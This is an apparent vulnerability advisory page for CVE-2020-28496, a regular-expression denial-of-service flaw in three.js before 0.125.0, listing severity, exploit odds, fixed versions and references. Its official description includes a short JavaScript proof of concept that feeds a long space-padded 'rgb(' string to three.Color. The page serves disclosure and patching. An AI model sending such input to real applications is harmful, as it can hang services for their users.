Vulnerability · Published Feb 18, 2021 · Assigned by snyk
CVE-2020-28496Regular Expression Denial of Service (ReDoS)
High 7.5
In plain English
A high-severity security flaw in three. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 2.5% (higher than 85% of all known vulnerabilities). Fixed versions are available - upgrade the affected package.
Severity (CVSS 3.1)7.5High
Exploit odds (30 days)2.5%top 15.1% of all CVEs
Exploited in the wildNo reportsnot in CISA KEV
Attack toolingNoneno public tooling known
Official description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Affected packages & fixed versions
| Ecosystem | Package | Fixed in | Advisory |
|---|---|---|---|
| Ubuntu:22.04:LTS | three.js | no fix listed | UBUNTU-CVE-2020-28496 |
| Ubuntu:24.04:LTS | three.js | no fix listed | UBUNTU-CVE-2020-28496 |
| Ubuntu:25.10 | three.js | no fix listed | UBUNTU-CVE-2020-28496 |
| Ubuntu:26.04:LTS | three.js | no fix listed | UBUNTU-CVE-2020-28496 |
| Ubuntu:26.10 | three.js | no fix listed | UBUNTU-CVE-2020-28496 |
| npm | three | 0.125.0 | GHSA-fq6p-x6j3-cmmq |
Affected products (as reported)
References
- https://snyk.io/vuln/SNYK-JS-THREE-1064931 x_refsource_MISC
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972 x_refsource_MISC
- https://github.com/mrdoob/three.js/issues/21132 x_refsource_MISC
- https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e x_refsource_MISC